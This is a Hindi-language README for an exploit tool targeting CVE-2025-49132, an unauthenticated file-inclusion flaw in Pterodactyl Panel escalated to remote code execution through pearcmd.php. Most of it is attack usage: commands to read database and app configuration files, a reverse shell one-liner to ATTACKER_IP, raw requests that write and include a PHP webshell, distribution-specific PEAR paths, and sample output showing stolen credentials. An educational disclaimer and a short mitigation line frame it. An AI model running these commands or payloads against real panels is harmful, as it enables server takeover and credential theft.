
CVE For Pterodactyl (अध्ययन और शिक्षा के लिए)
⚠️ अस्वीकरण: यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए बनाई गई है, जो मेरी सुरक्षा अनुसंधान के भाग के रूप में CVE-2025-49132 को समझने और दस्तावेज करने के लिए है। भेद्यता की खोज का सारा श्रेय मूल शोधकर्ता(ओं) को जाता है।
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - अप्रमाणित LFI से RCE तक एक्सप्लॉइट
CVE-2025-49132 Pterodactyl Panel में एक अप्रमाणित स्थानीय फ़ाइल समावेशन (LFI) भेद्यता है जिसे PHP के pearcmd.php के माध्यम से दूरस्थ कोड निष्पादन (RCE) में बढ़ाया जा सकता है।
भेद्यता /locales/locale.json एंडपॉइंट में मौजूद है, जो locale और namespace पैरामीटरों को ठीक से साफ़ करने में विफल रहता है, जिससे हमलावर मनमानी PHP कॉन्फ़िगरेशन फ़ाइलों को पढ़ सकते हैं और कोड निष्पादन प्राप्त कर सकते हैं।
| स्थिति | संस्करण |
|---|---|
| ❌ संवेदनशील | <= 1.11.10 |
| ✅ पैच किया गया | >= 1.11.11 |
pearcmd.php LFI2RCE तकनीक के माध्यम से दूरस्थ कोड निष्पादन# रिपॉजिटरी को क्लोन करें
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# निर्भरताएँ स्थापित करें
pip install requests
requests लाइब्रेरीcurl (RCE मोड के लिए)# डेटाबेस कॉन्फ़िगरेशन पढ़ें
python exploit.py -u http://target.com --read -p ../../config -f database
# एप्लिकेशन कॉन्फ़िगरेशन पढ़ें (इसमें APP_KEY है)
python exploit.py -u http://target.com --read -p ../../config -f app
# अन्य कॉन्फ़िगरेशन पढ़ें
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# एकल कमांड निष्पादन
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# इंटरैक्टिव शेल मोड
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# रिवर्स शेल
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| वितरण | पथ |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| आर्गुमेंट | विवरण |
|---|---|
-u, --url | लक्ष्य URL (आवश्यक) |
-p, --path | LFI के लिए पथ ट्रैवर्सल या RCE के लिए PEAR पथ |
-f, --file | पढ़ने के लिए PHP फ़ाइल (बिना .php एक्सटेंशन के) |
--read | LFI रीड मोड सक्षम करें |
--rce | RCE मोड सक्षम करें |
--cmd | निष्पादित करने के लिए कमांड (एकल निष्पादन मोड) |
--sdir | शेल लिखने के लिए निर्देशिका (डिफ़ॉल्ट: /tmp) |
--sname | शेल फ़ाइल नाम (डिफ़ॉल्ट: shell) |
संवेदनशील एंडपॉइंट /locales/locale.json locale और namespace पैरामीटर स्वीकार करता है:
GET /locales/locale.json?locale=../../config&namespace=database
यह किसी भी PHP फ़ाइल को पढ़ने की अनुमति देता है जो एक सरणी लौटाती है, जिसमें Laravel कॉन्फ़िगरेशन फ़ाइलें शामिल हैं।
एक्सप्लॉइट RCE प्राप्त करने के लिए LFI को pearcmd.php के साथ जोड़ता है:
चरण 1: PHP वेबशेल लिखने के लिए pearcmd.php के config-create कमांड का उपयोग करें
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
चरण 2: LFI के माध्यम से लिखे गए शेल को शामिल करें
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
डेटाबेस कॉन्फ़िगरेशन
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] कॉन्फ़िगरेशन सफलतापूर्वक निकाला गया!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale और namespace पैरामीटरों पर उचित इनपुट सत्यापन लागू करेंregister_argc_argv निर्देश को प्रतिबंधित करेंयह उपकरण केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।
जिम्मेदारी और नैतिकता से उपयोग करें।
⭐ यदि आपको यह उपयोगी लगे तो इस रेपो को स्टार करें!